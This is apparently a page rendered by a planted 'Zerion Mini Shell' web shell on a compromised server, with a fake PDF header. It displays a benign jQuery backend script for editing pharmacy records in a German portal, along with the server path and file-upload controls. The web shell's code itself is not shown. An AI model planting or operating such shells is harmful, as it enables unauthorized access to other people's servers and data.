%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/public/js/backend/pharmacy/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/public/js/backend/pharmacy/editpharmacy.js

var editpharmacy = {
    options: {autocompletedinit: false},
    init: function () {
        $('#content').off('click', '.editPharmacy');
        $('#content').on('click', '.editPharmacy', this.openPharmacyForm);
        $('#content').off('submit', '#pharmacyform');
        $("#content").on('submit', '#pharmacyform', this.savePharmacy);
        $('#content').off('click', '[name=removePharmacy]');
        $("#content").on('click', '[name=removePharmacy]', this.removePharmacyQuestion);
        $('#content').off('click', '[name=saveClose]');
        $("#content").on('click', '[name=saveClose]', this.saveAndClosePharmacy);
        $("#content").off('change', '[name=activateRemove]');
        $("#content").on('change', '[name=activateRemove]', this.activateRemove);

      //  if(!editpharmacy.options.autocompletedinit && $('[name=ownerEmail]').length > 0)
      //  {
      //      editpharmacy.activateAutocomplete();
      //      editpharmacy.options.autocompletedinit = true;
      //  }

        $("#content [name=plan_name]").change(function(){
            editpharmacy.getPlanVersion();
        });

        editpharmacy.countChars("textarea[name=description]");
    },
    openPharmacyForm: function () {
        var id = $(this).attr("data-entityid");
        window.location = "#backend/pharmacy/edit/id/" + id;
    },
    savePharmacy: function (e) {
        e.preventDefault();
        var route = $('#pharmacyform').attr('action');
        var postFormData = $("#pharmacyform").serializeArray();
        $.post(route, postFormData, function (data) {
            if (!data.error) {
                location.href = '/backend#/backend/pharmacy/edit/id/' + $("[name=id]").val() + "?tmp=" + Math.floor(Math.random() * 1000) ;
            } else {
                $('#content').html(data.html);
                $('body').animate({
                    scrollTop: $('.state-error:first').offset().top - 80
                }, 200);
            }
        });
    },
    saveAndClosePharmacy: function (e) {
        e.preventDefault();
        var route = $('#pharmacyform').attr('action');
        var postFormData = $("#pharmacyform").serializeArray();
        $.post(route, postFormData, function (data) {
            if (!data.error) {
                location.href = '/backend#/backend/pharmacy/pharmacytable';
            } else {
                $('#content').html(data.html);
                $('body').animate({
                    scrollTop: $('.state-error:first').offset().top - 80
                }, 200);
            }
        });
    },
    removePharmacyQuestion: function (e) {
        $.SmartMessageBox({
            title: "Soll die Apotheke tatsächlich gelöscht werden?",
            content: "Sind Sie sicher?",
            buttons: '[Nein][Ja]'
        },
        function (ButtonPressed) {
            if (ButtonPressed === "Ja") {
                editpharmacy.removePharmacy(e);
            }
        });
        e.preventDefault();
    },
    removePharmacy: function (e) {
        e.preventDefault();
        var route = '/backend/pharmacy/remove/id/' + $('[name=id]').val();
        var postFormData = $("#pharmacyform").serializeArray();
        $.post(route, postFormData, function (data) {
            location.href = "/backend#/backend/pharmacy/pharmacytable";
        });
    },
    activateRemove: function (e) {
        e.preventDefault();

        if($("#content [name=activateRemove]").prop("checked") == true){
            $("#content [name=removePharmacy]").removeClass("hidden");
        } else {
            $("#content [name=removePharmacy]").addClass("hidden");
        }
    },
    activateAutocomplete: function () {

            var base_url = window.location.origin;
            var dbAdapter = new Bloodhound({
                datumTokenizer: Bloodhound.tokenizers.obj.whitespace('value'),
                queryTokenizer: Bloodhound.tokenizers.whitespace,
                limit: 10,
                remote: {
                    rateLimitWait: 100,
                    rateLimitBy: 'debounce',
                    url: base_url + '/backend/pharmacy/typeahead/%QUERY',
                    ajax: {
                        type: "POST",
                        dataType: "json",
                        beforeSend: function (jqXhr, settings) {
                            jqXhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
                            settings.data = JSON.stringify({query: $("[name=ownerEmail]").val()});
                        }
                    }
                }
            });

            dbAdapter.initialize();

            $('[name=ownerEmail]').typeahead("destroy");
            $('[name=ownerEmail]').typeahead({
                    hint: true,
                    highlight: false,
                    minLength: 1
                },
                {
                    name: 'ownerEmail',
                    displayKey: 'email',
                    source: dbAdapter.ttAdapter(),
                    templates: {
                        header: '<h3 class="section-name">Registrierte Nutzer</h3>',
                        empty: [
                            '<div class="empty-message">',
                            'Richtige Email Adresse?',
                            '</div>'
                        ].join('\n'),
                        suggestion: function (data) {
                            html = '<p>' + data.email + ' (' + data.name + ')</p>';
                            return html;
                        }
                    }
                }
            );

            $('[name=ownerEmail]').unbind('typeahead:selected');
            $('[name=ownerEmail]').unbind('typeahead:autocompleted');
            $('[name=ownerEmail]').on('typeahead:selected', onAutocompleted);
            $('[name=ownerEmail]').on('typeahead:autocompleted', onAutocompleted);

            function onAutocompleted($e, datum) {
                $('[name=ownerEmail]').val(datum.email);
            }
          /*  function onSelected($e, datum) {
                $('[name=ownerEmail]').val(datum.email);
            }*/

             //fix input cant be focused in Safari Bug
             $('[name=ownerEmail]').click(function(e){
                 e.preventDefault();
                 $('[name=ownerEmail]').focus();
             });

    },
    getPlanVersion: function(){
        //modal.waitBox();
        var route = '/backend/pharmacy/get-plan-versions';
        var postFormData = {plan_name: $('[name=plan_name]').val()};
        $.post(route, postFormData, function (data) {
            $('[name=plan_version]').html(data.versions);

            $('[name=plan_version]').val($('[name=plan_version] option:last').val());
            //modal.hide();
        },'json');
    },
    countChars: function(element){
        //element exists
        if($(element).length > 0){

            //append count if not exists
            if($(element).parent().find(".count").length < 1){
                $(element).parent().append("<span class='count'></span>");
            }

            var max = $(element).attr("data-maxlength");

            //init current count value
            $(element).parent().find(".count").text($(element).val().length + " von " + max + ' Zeichen');

            //bind event
            $(element).keyup(function(){
                $(element).parent().find(".count").text($(element).val().length + " von " + max + ' Zeichen');
            });
        }
    }

};

$(document).ready(function () {
    editpharmacy.init();
});

Zerion Mini Shell 1.0